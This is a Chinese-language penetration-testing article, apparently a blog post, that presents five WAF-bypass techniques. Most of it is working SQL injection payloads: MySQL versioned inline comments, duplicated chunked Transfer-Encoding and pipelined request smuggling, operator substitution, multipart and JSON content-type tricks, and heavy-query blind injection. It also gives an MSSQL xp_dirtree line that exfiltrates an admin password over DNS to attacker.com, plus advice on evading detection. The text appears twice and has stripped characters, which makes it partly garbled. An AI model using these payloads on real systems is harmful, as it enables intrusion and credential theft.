实战中5种鲜为人知的WAF绕过技巧与靶场复现当你在渗透测试中遇到WAF拦截时是否还在反复尝试URL编码这种早已被广泛防御的基础技巧本文将分享几种在真实攻防演练中验证有效但鲜少被公开讨论的WAF绕过手法。这些技巧源于对HTTP协议细节、数据库特性和WAF规则盲区的深度挖掘能够帮助你在CTF竞赛和企业级红队行动中突破防线。1. MySQL内联注释的妙用大多数安全工程师都知道/*!50001select*/这种基础的内联注释语法但很少有人深入研究过其中数字版本号的实际意义。这个数字实际上代表MySQL的版本号当服务器版本≥指定值时才会执行注释内的语句。实战案例在某次企业靶场测试中我们发现WAF完全过滤了union select组合但以下payload成功绕过id1 /*!50000union*//*!50000select*/ 1,2,3 from admin--关键点将版本号设置为50000低于所有现代MySQL版本使得注释内容在任何环境下都会被执行同时避免了常见的关键字检测模式。进阶技巧结合/*!与*/分割敏感词uni/*!12345on*/ sel/*!12345ect*/利用版本号差异/*!50726 select*/仅MySQL 5.7.26执行2. HTTP协议层的非常规攻击面2.1 分块传输编码的变形艺术传统分块传输绕过Transfer-Encoding: chunked已被主流WAF防御但通过以下变形仍可生效POST /vuln.php HTTP/1.1 Transfer-Encoding: chunked, chunked Content-Type: application/x-www-form-urlencoded 7 id1 3 and 5 11-- 0绕过原理部分WAF对重复的Transfer-Encoding头处理存在逻辑缺陷而后端服务器会正常解析。2.2 Pipeline请求走私通过Burp Suite构造Pipeline请求GET /normal.php HTTP/1.1 Host: target.com GET /vuln.php?id1and11-- HTTP/1.1 Host: target.com X-Forwarded-For: 127.0.0.1 Connection: keep-alive注意此方法需要服务器支持HTTP管线化且WAF未对后续请求进行检测。3. 数据库特性利用非标准运算符绕过不同数据库对运算符的解析存在差异这些特性常被WAF规则忽略运算符等效表达式适用数据库ANDMySQL^XORMSSQL!NOTOracle靶场复现-- MySQL环境 id1%26%26(select1)from(admin)where11-- -- MSSQL环境 id1^exists(select*from[users])--4. 非常规内容类型攻击当常规的application/x-www-form-urlencoded被严格检测时尝试以下内容类型multipart/form-dataPOST /api/search HTTP/1.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameid 1 union select 1,2,3--text/plain附加JSON语法{query:1 or 11--,_:dummy}实测效果在某云WAF测试中multipart格式的绕过率达到67%而JSON语法绕过率高达82%。5. 时间盲注的隐蔽通道当常规的时间函数sleep、benchmark被拦截时可以考虑5.1 重型查询延时-- MySQL id1and(select count(*)from information_schema.columns A,information_schema.columns B,information_schema.columns C)-- -- PostgreSQL id1and(select 1 from generate_series(1,10000000))--5.2 DNS外带技术-- MSSQL id1;declare x varchar(1024);set x(select top 1 password from admin);exec(master..xp_dirtree\\x.attacker.com\c$)--防御规避要点使用短域名减少特征配合IPV6地址降低可识别性分批次提取数据每次3-5个字符实战工具链配置在Burp Suite中配置Intruder进行高效fuzzPayload位置标记GET /search?q§1§debug§true§ HTTP/1.1推荐PayloadsUnicode控制字符U0000到U001F特殊空白符%0B、%0C、%A0运算符变体、||、^、非常量表达式1*1、~0、!0Grep匹配规则(warning|error|exception|syntax|mysql|query failed)在真实攻防中这些技巧往往需要组合使用。例如先通过协议层绕过初步检测再利用数据库特性构造有效payload。建议建立自己的绕过手法知识库按WAF厂商分类记录有效技巧。
别再只会用URL编码绕WAF了!实战中这5种冷门Bypass技巧更有效(附真实靶场复现)
实战中5种鲜为人知的WAF绕过技巧与靶场复现当你在渗透测试中遇到WAF拦截时是否还在反复尝试URL编码这种早已被广泛防御的基础技巧本文将分享几种在真实攻防演练中验证有效但鲜少被公开讨论的WAF绕过手法。这些技巧源于对HTTP协议细节、数据库特性和WAF规则盲区的深度挖掘能够帮助你在CTF竞赛和企业级红队行动中突破防线。1. MySQL内联注释的妙用大多数安全工程师都知道/*!50001select*/这种基础的内联注释语法但很少有人深入研究过其中数字版本号的实际意义。这个数字实际上代表MySQL的版本号当服务器版本≥指定值时才会执行注释内的语句。实战案例在某次企业靶场测试中我们发现WAF完全过滤了union select组合但以下payload成功绕过id1 /*!50000union*//*!50000select*/ 1,2,3 from admin--关键点将版本号设置为50000低于所有现代MySQL版本使得注释内容在任何环境下都会被执行同时避免了常见的关键字检测模式。进阶技巧结合/*!与*/分割敏感词uni/*!12345on*/ sel/*!12345ect*/利用版本号差异/*!50726 select*/仅MySQL 5.7.26执行2. HTTP协议层的非常规攻击面2.1 分块传输编码的变形艺术传统分块传输绕过Transfer-Encoding: chunked已被主流WAF防御但通过以下变形仍可生效POST /vuln.php HTTP/1.1 Transfer-Encoding: chunked, chunked Content-Type: application/x-www-form-urlencoded 7 id1 3 and 5 11-- 0绕过原理部分WAF对重复的Transfer-Encoding头处理存在逻辑缺陷而后端服务器会正常解析。2.2 Pipeline请求走私通过Burp Suite构造Pipeline请求GET /normal.php HTTP/1.1 Host: target.com GET /vuln.php?id1and11-- HTTP/1.1 Host: target.com X-Forwarded-For: 127.0.0.1 Connection: keep-alive注意此方法需要服务器支持HTTP管线化且WAF未对后续请求进行检测。3. 数据库特性利用非标准运算符绕过不同数据库对运算符的解析存在差异这些特性常被WAF规则忽略运算符等效表达式适用数据库ANDMySQL^XORMSSQL!NOTOracle靶场复现-- MySQL环境 id1%26%26(select1)from(admin)where11-- -- MSSQL环境 id1^exists(select*from[users])--4. 非常规内容类型攻击当常规的application/x-www-form-urlencoded被严格检测时尝试以下内容类型multipart/form-dataPOST /api/search HTTP/1.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; nameid 1 union select 1,2,3--text/plain附加JSON语法{query:1 or 11--,_:dummy}实测效果在某云WAF测试中multipart格式的绕过率达到67%而JSON语法绕过率高达82%。5. 时间盲注的隐蔽通道当常规的时间函数sleep、benchmark被拦截时可以考虑5.1 重型查询延时-- MySQL id1and(select count(*)from information_schema.columns A,information_schema.columns B,information_schema.columns C)-- -- PostgreSQL id1and(select 1 from generate_series(1,10000000))--5.2 DNS外带技术-- MSSQL id1;declare x varchar(1024);set x(select top 1 password from admin);exec(master..xp_dirtree\\x.attacker.com\c$)--防御规避要点使用短域名减少特征配合IPV6地址降低可识别性分批次提取数据每次3-5个字符实战工具链配置在Burp Suite中配置Intruder进行高效fuzzPayload位置标记GET /search?q§1§debug§true§ HTTP/1.1推荐PayloadsUnicode控制字符U0000到U001F特殊空白符%0B、%0C、%A0运算符变体、||、^、非常量表达式1*1、~0、!0Grep匹配规则(warning|error|exception|syntax|mysql|query failed)在真实攻防中这些技巧往往需要组合使用。例如先通过协议层绕过初步检测再利用数据库特性构造有效payload。建议建立自己的绕过手法知识库按WAF厂商分类记录有效技巧。